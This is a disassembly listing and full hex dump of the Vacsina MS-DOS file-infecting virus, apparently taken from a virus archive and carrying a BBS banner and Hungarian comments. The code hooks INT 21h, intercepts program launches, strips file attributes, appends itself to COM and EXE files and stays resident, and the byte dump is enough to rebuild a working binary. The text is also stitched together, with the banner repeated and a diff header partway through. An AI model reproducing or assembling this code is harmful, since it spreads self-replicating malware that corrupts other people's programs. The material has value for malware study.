+13B0:0872 8BD1 MOV DX,CX +13B0:0874 2E CS: +13B0:0875 8B1E0A00 MOV BX,[000A] +13B0:0879 CD21 INT 21 ;pozicionls az elejre +13B0:087B 72A1 JB 081E +13B0:087D 2E CS: +13B0:087E 8B1E0A00 MOV BX,[000A] +13B0:0882 0E PUSH CS +13B0:0883 1F POP DS +13B0:0884 BA0C00 MOV DX,000C +13B0:0887 B90300 MOV CX,0003 +13B0:088A B440 MOV AH,40 +13B0:088C CD21 INT 21 ;3 byte JMP kirsa +13B0:088E 728E JB 081E +13B0:0890 3D0300 CMP AX,0003 ;sikerlt ? +13B0:0893 7589 JNZ 081E ;nem +13B0:0895 B8070E MOV AX,0E07 +13B0:0898 CD10 INT 10 ;beep jelzs hogy fertztt + +13B0:089A B43E MOV AH,3E +13B0:089C 2E CS: +13B0:089D 8B1E0A00 MOV BX,[000A] +13B0:08A1 CD21 INT 21 ;file zrsa +13B0:08A3 B80143 MOV AX,4301 +13B0:08A6 8E5E0E MOV DS,[BP+0E] +13B0:08A9 8B5606 MOV DX,[BP+06] +13B0:08AC 2E CS: +13B0:08AD 8B0E0800 MOV CX,[0008] +13B0:08B1 CD21 INT 21 ;eredeti attrib visszalltsa +13B0:08B3 0E PUSH CS +13B0:08B4 1F POP DS +13B0:08B5 BA1400 MOV DX,0014 +13B0:08B8 B410 MOV AH,10 +13B0:08BA CD21 INT 21 ;FCB-s file zrsa +13B0:08BC B82425 MOV AX,2524 +13B0:08BF 2E CS: +13B0:08C0 C5160400 LDS DX,[0004] +13B0:08C4 CD21 INT 21 ;INT 24 az eredetire +13B0:08C6 58 POP AX +13B0:08C7 5B POP BX +13B0:08C8 59 POP CX +13B0:08C9 5A POP DX +13B0:08CA 5E POP SI +13B0:08CB 5F POP DI +13B0:08CC 5D POP BP +13B0:08CD 1F POP DS +13B0:08CE 07 POP ES +13B0:08CF 9D POPF +13B0:08D0 2E CS: +13B0:08D1 FF2E0000 JMP FAR [0000] + + ;Teendk EXE file esetn +13B0:08D5 B80242 MOV AX,4202 +13B0:08D8 B90000 MOV CX,0000 +13B0:08DB 8BD1 MOV DX,CX +13B0:08DD 2E CS: +13B0:08DE 8B1E0A00 MOV BX,[000A] +13B0:08E2 CD21 INT 21 ;file vgre poz. +13B0:08E4 72B4 JB 089A +13B0:08E6 83FA00 CMP DX,+00 ;nagyobb 65535-nl +13B0:08E9 75AF JNZ 089A ;igen +13B0:08EB 3DB3FD CMP AX,FDB3 ;nagyobb ? +13B0:08EE 73AA JNB 089A ;igen +13B0:08F0 2E CS: +13B0:08F1 A39E04 MOV [049E],AX ;mret trolsa +13B0:08F4 2E CS: +13B0:08F5 A11000 MOV AX,[0010] +13B0:08F8 48 DEC AX +13B0:08F9 B109 MOV CL,09 +13B0:08FB D3E0 SHL AX,CL +13B0:08FD 2E CS: +13B0:08FE 03060E00 ADD AX,[000E] +13B0:0902 2E CS: +13B0:0903 3B069E04 CMP AX,[049E] +13B0:0907 7591 JNZ 089A +13B0:0909 2E CS: +13B0:090A 8B1E0A00 MOV BX,[000A] +13B0:090E B440 MOV AH,40 +13B0:0910 0E PUSH CS +13B0:0911 1F POP DS +13B0:0912 BA3900 MOV DX,0039 +13B0:0915 B98400 MOV CX,0084 +13B0:0918 CD21 INT 21 ;132 byte kirsa +13B0:091A 72C8 JB 08E4 +13B0:091C 3D8400 CMP AX,0084 ;sikerlt ? +13B0:091F 75E6 JNZ 0907 ;nem +13B0:0921 2E CS: +13B0:0922 8B1E0A00 MOV BX,[000A] +13B0:0926 B445 MOV AH,45 +13B0:0928 CD21 INT 21 ;file handle megkettzse +13B0:092A 7208 JB 0934 +13B0:092C 8BD8 MOV BX,AX +13B0:092E B43E MOV AH,3E +13B0:0930 CD21 INT 21 ;file zrsa +13B0:0932 72B0 JB 08E4 +13B0:0934 B80042 MOV AX,4200 +13B0:0937 B90000 MOV CX,0000 +13B0:093A 8BD1 MOV DX,CX +13B0:093C 2E CS: +13B0:093D 8B1E0A00 MOV BX,[000A] +13B0:0941 CD21 INT 21 ;file elejre poz. +13B0:0943 729F JB 08E4 +13B0:0945 2E CS: +13B0:0946 C6060C00E9 MOV BYTE PTR [000C],E9 ;COM ? +13B0:094B 2E CS: +13B0:094C A19E04 MOV AX,[049E] +13B0:094F 051100 ADD AX,0011 +13B0:0952 2E CS: +13B0:0953 A30D00 MOV [000D],AX +13B0:0956 2E CS: +13B0:0957 8B1E0A00 MOV BX,[000A] +13B0:095B B440 MOV AH,40 +13B0:095D 0E PUSH CS +13B0:095E 1F POP DS +13B0:095F BA0C00 MOV DX,000C +13B0:0962 B90300 MOV CX,0003 +13B0:0965 CD21 INT 21 ;3 byte kirsa +13B0:0967 E930FF JMP 089A ;ugrs a file zrsra +13B0:096A 0000 ADD [BX+SI],AL + +13B0:096C E80000 CALL 096F ;Belpsi pont +13B0:096F 5B POP BX ;IP BX -be +13B0:0970 2E CS: +13B0:0971 8947FB MOV [BX-05],AX +13B0:0974 B80000 MOV AX,0000 +13B0:0977 8EC0 MOV ES,AX +13B0:0979 26 ES: +13B0:097A A1C500 MOV AX,[00C5] +13B0:097D 3D7F39 CMP AX,397F +13B0:0980 7508 JNZ 098A +13B0:0982 26 ES: +13B0:0983 A0C700 MOV AL,[00C7] +13B0:0986 3C05 CMP AL,05 +13B0:0988 7332 JNB 09BC +13B0:098A 8BD4 MOV DX,SP +13B0:098C 2BD3 SUB DX,BX +13B0:098E 81EA6C0B SUB DX,0B6C +13B0:0992 7228 JB 09BC +13B0:0994 BAC504 MOV DX,04C5 +13B0:0997 B104 MOV CL,04 +13B0:0999 D3EA SHR DX,CL +13B0:099B 2E CS: +13B0:099C 899754FC MOV [BX+FC54],DX +13B0:09A0 8CD9 MOV CX,DS +13B0:09A2 03D1 ADD DX,CX +13B0:09A4 8EC2 MOV ES,DX +13B0:09A6 8BF3 MOV SI,BX +13B0:09A8 81C651FC ADD SI,FC51 +13B0:09AC 8BFE MOV DI,SI +13B0:09AE B9B604 MOV CX,04B6 +13B0:09B1 FC CLD +13B0:09B2 F3 REPZ +13B0:09B3 A4 MOVSB +13B0:09B4 06 PUSH ES +13B0:09B5 E80300 CALL 09BB +13B0:09B8 EB13 JMP 09CD +13B0:09BA 90 NOP +13B0:09BB CB RETF + +13B0:09BC 8CC8 MOV AX,CS +13B0:09BE 8ED8 MOV DS,AX +13B0:09C0 8EC0 MOV ES,AX +13B0:09C2 8ED0 MOV SS,AX +13B0:09C4 2E CS: +13B0:09C5 8B47FB MOV AX,[BX-05] +13B0:09C8 2E CS: +13B0:09C9 FFA70101 JMP [BX+0101] + +13B0:09CD BE0000 MOV SI,0000 +13B0:09D0 BF0000 MOV DI,0000 +13B0:09D3 8BCB MOV CX,BX +13B0:09D5 81C161FC ADD CX,FC61 +13B0:09D9 8CC2 MOV DX,ES +13B0:09DB 4A DEC DX +13B0:09DC 8EC2 MOV ES,DX +13B0:09DE 8CDA MOV DX,DS +13B0:09E0 4A DEC DX +13B0:09E1 8EDA MOV DS,DX +13B0:09E3 03F1 ADD SI,CX ;CX=48f0 +13B0:09E5 4E DEC SI +13B0:09E6 8BFE MOV DI,SI +13B0:09E8 FD STD +13B0:09E9 F3 REPZ +13B0:09EA A4 MOVSB +13B0:09EB FC CLD +13B0:09EC 2E CS: +13B0:09ED 8B9754FC MOV DX,[BX+FC54] +13B0:09F1 26 ES: +13B0:09F2 29160300 SUB [0003],DX +13B0:09F6 26 ES: +13B0:09F7 8C0E0100 MOV [0001],CS +13B0:09FB BF0000 MOV DI,0000 +13B0:09FE 8BF3 MOV SI,BX +13B0:0A00 81C651FC ADD SI,FC51 +13B0:0A04 B9B604 MOV CX,04B6 ;byte-ok szma +13B0:0A07 1E PUSH DS +13B0:0A08 07 POP ES ;ES=DS +13B0:0A09 0E PUSH CS +13B0:0A0A 1F POP DS ;DS=CS +13B0:0A0B F3 REPZ +13B0:0A0C A4 MOVSB ;nmagnak tpakolsa +13B0:0A0D 26 ES: +13B0:0A0E 832E030001 SUB WORD PTR [0003],+01 +13B0:0A13 53 PUSH BX +13B0:0A14 8CCB MOV BX,CS +13B0:0A16 B450 MOV AH,50 +13B0:0A18 CD21 INT 21 ;? rezidens mr ? +13B0:0A1A 5B POP BX +13B0:0A1B 2E CS: +13B0:0A1C 8C0E3600 MOV [0036],CS +13B0:0A20 2E CS: +13B0:0A21 8B162C00 MOV DX,[002C] ;krnyezet cme +13B0:0A25 4A DEC DX +13B0:0A26 8EC2 MOV ES,DX +13B0:0A28 26 ES: +13B0:0A29 8C0E0100 MOV [0001],CS +13B0:0A2D B82135 MOV AX,3521 +13B0:0A30 53 PUSH BX +13B0:0A31 CD21 INT 21 ;INT 21h cm lekrdezse +13B0:0A33 36 SS: +13B0:0A34 8C060200 MOV [0002],ES +13B0:0A38 36 SS: +13B0:0A39 891E0000 MOV [0000],BX +13B0:0A3D 5B POP BX +13B0:0A3E B82125 MOV AX,2521 +13B0:0A41 8CD2 MOV DX,SS +13B0:0A43 8EDA MOV DS,DX +13B0:0A45 BAC000 MOV DX,00C0 +13B0:0A48 CD21 INT 21 ;INT 21h tirnytsa +13B0:0A4A B80000 MOV AX,0000 +13B0:0A4D 8EC0 MOV ES,AX +13B0:0A4F 26 ES: +13B0:0A50 C706C5007F39 MOV WORD PTR [00C5],397F ;? +13B0:0A56 26 ES: +13B0:0A57 C606C70005 MOV BYTE PTR [00C7],05 ? +13B0:0A5C 8CC8 MOV AX,CS +13B0:0A5E 8ED8 MOV DS,AX +13B0:0A60 B41A MOV AH,1A +13B0:0A62 BA5000 MOV DX,0050 +13B0:0A65 CD21 INT 21 ;DTA. belltsa +13B0:0A67 2E CS: +13B0:0A68 8B47FB MOV AX,[BX-05] +13B0:0A6B E94EFF JMP 09BC + +13B0:0A6E B704 MOV BH,04 +13B0:0A70 AC LODSB +13B0:0A71 05F47A ADD AX,7AF4 +13B0:0A74 050000 ADD AX,0000 +13B0:0A77 0000 ADD [BX+SI],AL + + +Dumped list: + +13B0:0000 CD 20 00 A0 00 9A F0 FE-1D F0 F4 02 E7 0F 2F 03 . ............/. +13B0:0010 E7 0F BC 02 E7 0F AF 0F-01 03 01 00 02 FF FF FF ................ +13B0:0020 FF FF FF FF FF FF FF FF-FF FF FF FF A7 13 4C 01 ..............L. +13B0:0030 21 13 14 00 18 00 B0 13-FF FF FF FF 00 00 00 00 !............... +13B0:0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:0050 CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20 .!........... +13B0:0060 20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20 ..... +13B0:0070 20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00 ........ +13B0:0080 01 20 0D 61 63 73 76 2E-63 6F 6D 20 0D 63 3A 5C . .acsv.com .c:\ +13B0:0090 75 74 69 6C 3B 63 3A 5C-75 74 69 6C 5C 78 79 77 util;c:\util\xyw +13B0:00A0 72 69 74 65 3B 63 3A 5C-6E 79 65 6C 76 65 6B 5C rite;c:\nyelvek\ +13B0:00B0 64 62 61 73 65 3B 63 3A-5C 6E 79 65 6C 76 65 6B dbase;c:\nyelvek +13B0:00C0 5C 63 6C 69 70 70 65 72-0D 00 00 00 00 00 00 00 \clipper........ +13B0:00D0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:00E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:00F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:0100 E9 69 08 49 60 6D 20 61-20 56 61 63 73 69 6E 61 .i.I`m a Vacsina +13B0:0110 20 56 49 52 55 53 21 0D-0A 24 00 00 00 00 00 00 VIRUS!..$...... +13B0:0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ + +13B0:0590 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:05A0 00 00 00 00 00 00 00 00-00 00 00 00 B4 09 BA 03 ................ +13B0:05B0 01 CD 21 B4 00 CD 20 00-5D 00 5E 00 FF FF 60 00 ..!... .].^...`. +13B0:05C0 4D 07 00 4B 00 00 00 00-00 00 00 00 00 00 00 00 M..K............ +13B0:05D0 72 0E AE 0F 56 05 20 0D-20 00 05 00 03 01 CD 21 r...V. . ......! +13B0:05E0 B4 00 CD 20 00 56 41 43-53 49 4E 41 20 20 20 20 ... .VACSINA +13B0:05F0 00 00 80 00 00 00 00 00-7C 11 37 A8 00 40 C2 00 ........|.7..@.. +13B0:0600 46 0A 00 00 00 00 00 00-00 20 20 20 20 20 20 20 F........ +13B0:0610 20 20 20 20 20 20 20 20-20 20 20 20 20 E8 00 00 ... +13B0:0620 5B 50 8C C0 05 10 00 8B-0E 0E 01 03 C8 89 4F FB [P............O. +13B0:0630 8B 0E 16 01 03 C8 89 4F-F7 8B 0E 10 01 89 4F F9 .......O......O. +13B0:0640 8B 0E 14 01 89 4F F5 8B-3E 18 01 8B 16 08 01 B1 .....O..>....... +13B0:0650 04 D3 E2 8B 0E 06 01 E3-17 26 C5 B5 00 01 83 C7 .........&...... +13B0:0660 04 8C DD 26 03 2E 08 01-03 E8 8E DD 01 04 E2 E9 ...&............ +13B0:0670 0E 1F BF 00 01 8B F2 81-C6 00 01 8B CB 2B CE F3 .............+.. +13B0:0680 A4 58 FA 8E 57 FB 8B 67-F9 FB FF 6F F5 B0 03 CF .X..W..g...o.... +13B0:0690 9C 3D 00 4B 74 06 9D 2E-FF 2E 00 00 06 1E 55 57 .=.Kt.........UW +13B0:06A0 56 52 51 53 50 8B EC B8-24 35 CD 21 2E 8C 06 06 VRQSP...$5.!.... +13B0:06B0 00 2E 89 1E 04 00 0E 1F-BA BD 00 B8 24 25 CD 21 ............$%.! +13B0:06C0 0E 1F BA 14 00 B4 0F CD-21 B8 00 43 8E 5E 0E 8B ........!..C.^.. +13B0:06D0 56 06 CD 21 73 03 E9 DA-01 2E 89 0E 08 00 B8 01 V..!s........... +13B0:06E0 43 80 E1 FE CD 21 73 03-E9 C8 01 B8 02 3D 8E 5E C....!s......=.^ +13B0:06F0 0E 8B 56 06 CD 21 73 03-E9 A8 01 2E A3 0A 00 8B ..V..!s......... +13B0:0700 D8 0E 1F BA 0C 00 B9 06-00 B4 3F CD 21 72 19 3D ..........?.!r.= +13B0:0710 06 00 75 14 2E 81 3E 0C-00 4D 5A 75 03 E9 B5 01 ..u...>..MZu.... +13B0:0720 2E 80 3E 0C 00 E9 74 03-E9 6F 01 B8 02 42 B9 00 ..>...t..o...B.. +13B0:0730 00 8B D1 2E 8B 1E 0A 00-CD 21 72 EC 83 FA 00 75 .........!r....u +13B0:0740 E7 3D B6 04 76 E2 3D 93-F5 73 DD 2E A3 9E 04 2E .=..v.=..s...... +13B0:0750 A1 0D 00 05 03 01 2E A3-A0 04 B8 02 42 B9 FF FF ............B... +13B0:0760 BA F8 FF 2E 8B 1E 0A 00-CD 21 72 BC 2E 8B 1E 0A .........!r..... +13B0:0770 00 0E 1F BA 0C 00 B9 08-00 B4 3F CD 21 72 A9 3D ..........?.!r.= +13B0:0780 08 00 75 A4 2E 81 3E 10-00 F4 7A 75 77 2E 83 3E ..u...>...zuw..> +13B0:0790 12 00 05 90 73 92 2E A1-0C 00 2E A3 9E 04 2E A1 ....s........... +13B0:07A0 0E 00 2E A3 A0 04 2D 03-01 2E A3 0C 00 B8 00 42 ......-........B +13B0:07B0 B9 00 00 BA 01 00 2E 8B-1E 0A 00 CD 21 72 5F B4 ............!r_. +13B0:07C0 40 0E 1F BA 0C 00 B9 02-00 CD 21 72 51 3D 02 00 @.........!rQ=.. +13B0:07D0 75 4C 2E 8B 1E 0A 00 B4-45 CD 21 72 08 8B D8 B4 uL......E.!r.... +13B0:07E0 3E CD 21 72 39 B8 00 42-B9 00 00 2E 8B 16 9E 04 >.!r9..B........ +13B0:07F0 2E 8B 1E 0A 00 CD 21 72-25 B4 40 0E 1F B9 00 00 ......!r%.@..... +13B0:0800 CD 21 72 1A B8 00 42 B9-00 00 2E 8B 16 9E 04 83 .!r...B......... +13B0:0810 C2 0F 83 E2 F0 2E 8B 1E-0A 00 CD 21 73 03 EB 7A ...........!s..z +13B0:0820 90 2E 8B 1E 0A 00 8C CA-4A 8E DA BA 00 00 B9 B6 ........J....... +13B0:0830 04 B4 40 CD 21 72 E7 3D-B6 04 75 E2 2E 8B 1E 0A ..@.!r.=..u..... +13B0:0840 00 B4 45 CD 21 72 08 8B-D8 B4 3E CD 21 72 CF 2E ..E.!r....>.!r.. +13B0:0850 C6 06 0C 00 E9 2E 8B 16-9E 04 83 C2 0F 83 E2 F0 ................ +13B0:0860 83 EA 03 81 C2 AC 03 2E-89 16 0D 00 B8 00 42 B9 ..............B. +13B0:0870 00 00 8B D1 2E 8B 1E 0A-00 CD 21 72 A1 2E 8B 1E ..........!r.... +13B0:0880 0A 00 0E 1F BA 0C 00 B9-03 00 B4 40 CD 21 72 8E ...........@.!r. +13B0:0890 3D 03 00 75 89 B8 07 0E-CD 10 B4 3E 2E 8B 1E 0A =..u.......>.... +13B0:08A0 00 CD 21 B8 01 43 8E 5E-0E 8B 56 06 2E 8B 0E 08 ..!..C.^..V..... +13B0:08B0 00 CD 21 0E 1F BA 14 00-B4 10 CD 21 B8 24 25 2E ..!........!.$%. +13B0:08C0 C5 16 04 00 CD 21 58 5B-59 5A 5E 5F 5D 1F 07 9D .....!X[YZ^_]... +13B0:08D0 2E FF 2E 00 00 B8 02 42-B9 00 00 8B D1 2E 8B 1E .......B........ +13B0:08E0 0A 00 CD 21 72 B4 83 FA-00 75 AF 3D B3 FD 73 AA ...!r....u.=..s. +13B0:08F0 2E A3 9E 04 2E A1 10 00-48 B1 09 D3 E0 2E 03 06 ........H....... +13B0:0900 0E 00 2E 3B 06 9E 04 75-91 2E 8B 1E 0A 00 B4 40 ...;...u.......@ +13B0:0910 0E 1F BA 39 00 B9 84 00-CD 21 72 C8 3D 84 00 75 ...9.....!r.=..u +13B0:0920 E6 2E 8B 1E 0A 00 B4 45-CD 21 72 08 8B D8 B4 3E .......E.!r....> +13B0:0930 CD 21 72 B0 B8 00 42 B9-00 00 8B D1 2E 8B 1E 0A .!r...B......... +13B0:0940 00 CD 21 72 9F 2E C6 06-0C 00 E9 2E A1 9E 04 05 ..!r............ +13B0:0950 11 00 2E A3 0D 00 2E 8B-1E 0A 00 B4 40 0E 1F BA ............@... +13B0:0960 0C 00 B9 03 00 CD 21 E9-30 FF 00 00 E8 00 00 5B ......!.0......[ +13B0:0970 2E 89 47 FB B8 00 00 8E-C0 26 A1 C5 00 3D 7F 39 ..G......&...=.9 +13B0:0980 75 08 26 A0 C7 00 3C 05-73 32 8B D4 2B D3 81 EA u.&...<.s2..+... +13B0:0990 6C 0B 72 28 BA C5 04 B1-04 D3 EA 2E 89 97 54 FC l.r(..........T. +13B0:09A0 8C D9 03 D1 8E C2 8B F3-81 C6 51 FC 8B FE B9 B6 ..........Q..... +13B0:09B0 04 FC F3 A4 06 E8 03 00-EB 13 90 CB 8C C8 8E D8 ................ +13B0:09C0 8E C0 8E D0 2E 8B 47 FB-2E FF A7 01 01 BE 00 00 ......G......... +13B0:09D0 BF 00 00 8B CB 81 C1 61-FC 8C C2 4A 8E C2 8C DA .......a...J.... +13B0:09E0 4A 8E DA 03 F1 4E 8B FE-FD F3 A4 FC 2E 8B 97 54 J....N.........T +13B0:09F0 FC 26 29 16 03 00 26 8C-0E 01 00 BF 00 00 8B F3 .&)...&......... +13B0:0A00 81 C6 51 FC B9 B6 04 1E-07 0E 1F F3 A4 26 83 2E ..Q..........&.. +13B0:0A10 03 00 01 53 8C CB B4 50-CD 21 5B 2E 8C 0E 36 00 ...S...P.![...6. +13B0:0A20 2E 8B 16 2C 00 4A 8E C2-26 8C 0E 01 00 B8 21 35 ...,.J..&.....!5 +13B0:0A30 53 CD 21 36 8C 06 02 00-36 89 1E 00 00 5B B8 21 S.!6....6....[.! +13B0:0A40 25 8C D2 8E DA BA C0 00-CD 21 B8 00 00 8E C0 26 %........!.....& +13B0:0A50 C7 06 C5 00 7F 39 26 C6-06 C7 00 05 8C C8 8E D8 .....9&......... +13B0:0A60 B4 1A BA 50 00 CD 21 2E-8B 47 FB E9 4E FF B7 04 ...P..!..G..N... +13B0:0A70 AC 05 F4 7A 05 00 00 00 ...z.... + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; diff --git a/MSDOS/Virus.MSDOS.Unknown.vacsv.lst b/MSDOS/Virus.MSDOS.Unknown.vacsv.lst new file mode 100644 index 00000000..ffa09da7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vacsv.lst @@ -0,0 +1,746 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +Vacsina VIRUS: `90.04.13. + Comment: Kvri Lszl + (41) 21-033 + +Unassembled list: + +13B0:0100 E96908 JMP 096C +13B0:0103 49 DEC CX +13B0:0104 60 DB 60 +13B0:0105 6D DB 6D +13B0:0106 206120 AND [BX+DI+20],AH +13B0:0109 56 PUSH SI +13B0:010A 61 DB 61 +13B0:010B 63 DB 63 +13B0:010C 7369 JNB 0177 +13B0:010E 6E DB 6E +13B0:010F 61 DB 61 +13B0:0110 205649 AND [BP+49],DL +13B0:0113 52 PUSH DX +13B0:0114 55 PUSH BP +13B0:0115 53 PUSH BX +13B0:0116 210D AND [DI],CX +13B0:0118 0A24 OR AH,[SI] +13B0:011A 0000 ADD [BX+SI],AL + +13B0:05AA 0000 ADD [BX+SI],AL +13B0:05AC B409 MOV AH,09 +13B0:05AE BA0301 MOV DX,0103 +13B0:05B1 CD21 INT 21 +13B0:05B3 B400 MOV AH,00 +13B0:05B5 CD20 INT 20 +13B0:05B7 005D00 ADD [DI+00],BL +13B0:05BA 5E POP SI +13B0:05BB 00FF ADD BH,BH +13B0:05BD FF6000 JMP [BX+SI+00] +13B0:05C0 4D DEC BP +13B0:05C1 07 POP ES +13B0:05C2 004B00 ADD [BP+DI+00],CL +13B0:05C5 0000 ADD [BX+SI],AL + +13B0:05CD 0000 ADD [BX+SI],AL +13B0:05CF 00720E ADD [BP+SI+0E],DH +13B0:05D2 AE SCASB +13B0:05D3 0F POP CS +13B0:05D4 56 PUSH SI +13B0:05D5 05200D ADD AX,0D20 +13B0:05D8 2000 AND [BX+SI],AL +13B0:05DA 050003 ADD AX,0300 +13B0:05DD 01CD ADD BP,CX +13B0:05DF 21B400CD AND [SI+CD00],SI +13B0:05E3 2000 AND [BX+SI],AL +13B0:05E5 56 PUSH SI +13B0:05E6 41 INC CX +13B0:05E7 43 INC BX +13B0:05E8 53 PUSH BX +13B0:05E9 49 DEC CX +13B0:05EA 4E DEC SI +13B0:05EB 41 INC CX +13B0:05EC 2020 AND [BX+SI],AH +13B0:05EE 2020 AND [BX+SI],AH +13B0:05F0 0000 ADD [BX+SI],AL +13B0:05F2 800000 ADD BYTE PTR [BX+SI],00 +13B0:05F5 0000 ADD [BX+SI],AL +13B0:05F7 007C11 ADD [SI+11],BH +13B0:05FA 37 AAA +13B0:05FB A800 TEST AL,00 +13B0:05FD 40 INC AX +13B0:05FE C20046 RET 4600 +13B0:0601 0A00 OR AL,[BX+SI] +13B0:0603 0000 ADD [BX+SI],AL +13B0:0605 0000 ADD [BX+SI],AL +13B0:0607 0000 ADD [BX+SI],AL +13B0:0609 2020 AND [BX+SI],AH +13B0:060B 2020 AND [BX+SI],AH +13B0:060D 2020 AND [BX+SI],AH +13B0:060F 2020 AND [BX+SI],AH +13B0:0611 2020 AND [BX+SI],AH +13B0:0613 2020 AND [BX+SI],AH +13B0:0615 2020 AND [BX+SI],AH +13B0:0617 2020 AND [BX+SI],AH +13B0:0619 2020 AND [BX+SI],AH +13B0:061B 2020 AND [BX+SI],AH + +13B0:061D E80000 CALL 0620 +13B0:0620 5B POP BX +13B0:0621 50 PUSH AX +13B0:0622 8CC0 MOV AX,ES +13B0:0624 051000 ADD AX,0010 +13B0:0627 8B0E0E01 MOV CX,[010E] +13B0:062B 03C8 ADD CX,AX +13B0:062D 894FFB MOV [BX-05],CX +13B0:0630 8B0E1601 MOV CX,[0116] +13B0:0634 03C8 ADD CX,AX +13B0:0636 894FF7 MOV [BX-09],CX +13B0:0639 8B0E1001 MOV CX,[0110] +13B0:063D 894FF9 MOV [BX-07],CX +13B0:0640 8B0E1401 MOV CX,[0114] +13B0:0644 894FF5 MOV [BX-0B],CX +13B0:0647 8B3E1801 MOV DI,[0118] +13B0:064B 8B160801 MOV DX,[0108] +13B0:064F B104 MOV CL,04 +13B0:0651 D3E2 SHL DX,CL +13B0:0653 8B0E0601 MOV CX,[0106] +13B0:0657 E317 JCXZ 0670 +13B0:0659 26 ES: +13B0:065A C5B50001 LDS SI,[DI+0100] +13B0:065E 83C704 ADD DI,+04 +13B0:0661 8CDD MOV BP,DS +13B0:0663 26 ES: +13B0:0664 032E0801 ADD BP,[0108] +13B0:0668 03E8 ADD BP,AX +13B0:066A 8EDD MOV DS,BP +13B0:066C 0104 ADD [SI],AX +13B0:066E E2E9 LOOP 0659 +13B0:0670 0E PUSH CS +13B0:0671 1F POP DS +13B0:0672 BF0001 MOV DI,0100 +13B0:0675 8BF2 MOV SI,DX +13B0:0677 81C60001 ADD SI,0100 +13B0:067B 8BCB MOV CX,BX +13B0:067D 2BCE SUB CX,SI +13B0:067F F3 REPZ +13B0:0680 A4 MOVSB +13B0:0681 58 POP AX +13B0:0682 FA CLI +13B0:0683 8E57FB MOV SS,[BX-05] +13B0:0686 8B67F9 MOV SP,[BX-07] +13B0:0689 FB STI +13B0:068A FF6FF5 JMP FAR [BX-0B] +13B0:068D B003 MOV AL,03 +13B0:068F CF IRET + + ;INT 21h rutin +13B0:0690 9C PUSHF +13B0:0691 3D004B CMP AX,4B00 ;program indts ? +13B0:0694 7406 JZ 069C ;igen +13B0:0696 9D POPF +13B0:0697 2E CS: +13B0:0698 FF2E0000 JMP FAR [0000] ;INT 21h kezdetre + +13B0:069C 06 PUSH ES +13B0:069D 1E PUSH DS +13B0:069E 55 PUSH BP +13B0:069F 57 PUSH DI +13B0:06A0 56 PUSH SI +13B0:06A1 52 PUSH DX +13B0:06A2 51 PUSH CX +13B0:06A3 53 PUSH BX +13B0:06A4 50 PUSH AX +13B0:06A5 8BEC MOV BP,SP +13B0:06A7 B82435 MOV AX,3524 +13B0:06AA CD21 INT 21 ;kilps kritikus hiba esetn + ;rutin cmnek lekrdezse +13B0:06AC 2E CS: +13B0:06AD 8C060600 MOV [0006],ES ;letrolsa seg. +13B0:06B1 2E CS: +13B0:06B2 891E0400 MOV [0004],BX ;offs +13B0:06B6 0E PUSH CS +13B0:06B7 1F POP DS +13B0:06B8 BABD00 MOV DX,00BD +13B0:06BB B82425 MOV AX,2524 +13B0:06BE CD21 INT 21 ;INT 24h tlltsa +13B0:06C0 0E PUSH CS +13B0:06C1 1F POP DS +13B0:06C2 BA1400 MOV DX,0014 +13B0:06C5 B40F MOV AH,0F +13B0:06C7 CD21 INT 21 ;FCB-s file nyits +13B0:06C9 B80043 MOV AX,4300 +13B0:06CC 8E5E0E MOV DS,[BP+0E] +13B0:06CF 8B5606 MOV DX,[BP+06] +13B0:06D2 CD21 INT 21 ;file attrib lekrd. +13B0:06D4 7303 JNB 06D9 +13B0:06D6 E9DA01 JMP 08B3 +13B0:06D9 2E CS: +13B0:06DA 890E0800 MOV [0008],CX +13B0:06DE B80143 MOV AX,4301 +13B0:06E1 80E1FE AND CL,FE +13B0:06E4 CD21 INT 21 ;file attrib bellts +13B0:06E6 7303 JNB 06EB +13B0:06E8 E9C801 JMP 08B3 +13B0:06EB B8023D MOV AX,3D02 +13B0:06EE 8E5E0E MOV DS,[BP+0E] +13B0:06F1 8B5606 MOV DX,[BP+06] +13B0:06F4 CD21 INT 21 ;file nyits r/w +13B0:06F6 7303 JNB 06FB +13B0:06F8 E9A801 JMP 08A3 +13B0:06FB 2E CS: +13B0:06FC A30A00 MOV [000A],AX +13B0:06FF 8BD8 MOV BX,AX +13B0:0701 0E PUSH CS +13B0:0702 1F 